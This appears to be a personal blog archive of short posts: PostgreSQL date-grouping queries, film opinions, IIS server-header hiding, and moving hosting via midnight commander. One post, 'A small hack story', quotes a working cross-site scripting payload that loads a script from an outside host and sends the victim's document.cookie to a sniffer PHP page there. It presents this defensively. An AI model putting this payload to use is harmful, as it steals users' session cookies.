Postgresql group by day, week and month examples

at the end of any product there will be a reporting interfaces for counts. let say you build a advertisement site which gives people to publish their products on the site. they will want to see how many people visited their product in daily basis or weekly.

I used to do this in mysql like this

SELECT create_time as Date, count(id) as ‘Count’, FROM
views_of_product
group by date_format(create_time, ‘%d %m %Y’)
order by date_format(create_time, ‘%Y-%m-%d’) desc limit 7

this will nicely show last seven days views. but I needed to do same thing in postgresql. and like other days its not easily to find. I should check other report codes from project but no I allways research on google 🙂 anyway here is my code:

select to_char(created, ‘YYYY-MM-DD’) ,count(id)
from videos_capture
group by to_char(created, ‘YYYY-MM-DD’)
order by to_char(created, ‘YYYY-MM-DD’) desc limit 7

its not bad actually works like a charm but understanding this code is not that easy. after I found this I started to implement needs and see better and easy to understand solutions.

weekly count example. this will show new users weekly parts for last 3 months:

SELECT date_trunc(‘week’, created) AS “Week” , count(id) AS “New Users”
FROM users
WHERE created > now() – interval ‘3 months’
GROUP BY “Week”
ORDER BY “Week”

yearly example. this will show monthly 1 year users:

SELECT date_trunc(‘month’, created) AS “Month” , count(id) AS “New Users”
FROM users
WHERE created > now() – interval ‘1 year’
GROUP BY “Month”
ORDER BY “Month”

I must say understanding postgresql’s sql more easy then mysql.

I am legend

I know this is little bit old movie and I watch it again. at first it has a perfect production they duplicate entire city for this that is good. secondly it gives a nice idea about bob marley and peace. at the end its still a copycat scenario of some movie.

I started to think about really there will be a virus for end 🙂

Hitman vs Rambo 4

first I watch rambo 4 after a long time seeing someone from your childhood was good feeling at the end it was not bad. I was fell a sleep in that last rocky movie 🙂

hitman is a real good movie. they stick to the character and stuff just like the game. but I must say that game was boring for me it was too quite. I like to have more noise 🙂 quake rulez…. anyway at the end hitman was a good movie.

in my opinion Rambo probably would kick hitman’s ass 🙂 ofcourse if he does not bring out a needle. he does have tricks 🙂

Sweden must be a good place

I have been searching which movie coming out and how is going the media. anyway somehow I find myself reading letters between thepiratebay.org and big firm’s law departments. for example apple and microsoft and dreamworks. you name it 🙂 who has a big firm and a production sent them a mail and they respond to these mails as rude as possible 🙂

I dunno this story is true or lie but I like these words exactly from letters:

As you may or may not be aware, Sweden is not a state in the United States
of America. Sweden is a country in northern Europe.
Unless you figured it out by now, US law does not apply here.
For your information, no Swedish law is being violated.

after now I am fan of Sweden 🙂

ISAPI and IIS Server Header

IIS puts “Server:Microsoft-IIS6” or something like this string into the returned header from server in http. that is somehow a security hole because a person who is interested in doing bad things or anything to some server its first rule for them to learn what are they dealing with.

so I needed to close this way. I made a research but its kinda old old old articles everywhere and not most of them useful. here is my solution. at the end these is source code included for Xmask I tried to change this server header to something else like “Server:Mascix” but it did not work I dunno why but at the end it cleaned what I wanted 🙂

A small hack story

One of my friend came to me and told me he lost his admin user while he was browsing the web site. I was surprised because normally it does not happen. if that site was using asp.net 🙂 its sad but true asp.net does not allow html inclusion in post data. anyway the hacker puts a script code into his name field like this:

src="http://inso.host.sk/sniffer/c.js"></script>

its not a big deal if you look the output of this script you will see this:

a=new/**/Image();a.src=’http://inso.host.sk/sniffer/s.php?a=’+escape(document.cookie);

at the end it stoles browser’s cookie and send it to a php file. while the hacker browsing another url and see which fish got fall for a trick 🙂 anyway today I made a research and found a solution to this situation:

https://addons.mozilla.org/en-US/firefox/addon/722

you should simply disable all js inclusions in the page except the domain. that will make your browser more secure.

Good Code vs Bad Code

Sometime I talk with my programmer friends about data structure and design patterns and good code. I think there is good code but it does not matter if you see it at first it takes sometime to understand it. thats why if you start swearing at someone’s code who worked the place before you. no matter how was good that code was. here is a good explanation of that situation 🙂
at the end there is no looking at code and not swearing 😀

We have to learn Chinese

its been a long time I have started to see japanese or chinese language in internet. they have really good technical guys but most of them writes in their language. today I was checking my email. and I saw a news its really cool.

210 million Internet users in China; 11.93 million domain names

it means a big big big market there and if we want to do something we have to start learning Chinese. it will be easier then teaching them English I guess 🙂

references:
http://english.people.com.cn/90001/90781/90877/6341926.html

Howto Change Your Server One To Another

this post is about ftp in bash/console.It has been a long time I was a godaddy customer. their service is really nice if you are starting something but at some point in my “Deluxe Hosting – Linux” account mysql databases started to suck. I have tried to change mysql databases create new ones from hosting control center. but it did not work out and I get a new dedicated server. now I have about 10 domain which works under linux with power of php. so how am I gonna move all those to another linux.

here comes our mutual friend MC. midnight commander 🙂 this new dedicated is debian and apt totally rocks it took me to install mc in 5 secs. and lets see how we can connect to other ftp at “right” menu there is “ftp link”. you need to put proper ftp url there and in right panel you will see another server which is in godaddy data center 🙂 isnt it rock.

example proper ftp url for midnight commander ftp client:
“username:password@yourdomain.com”

and all these will be under console. linux rocks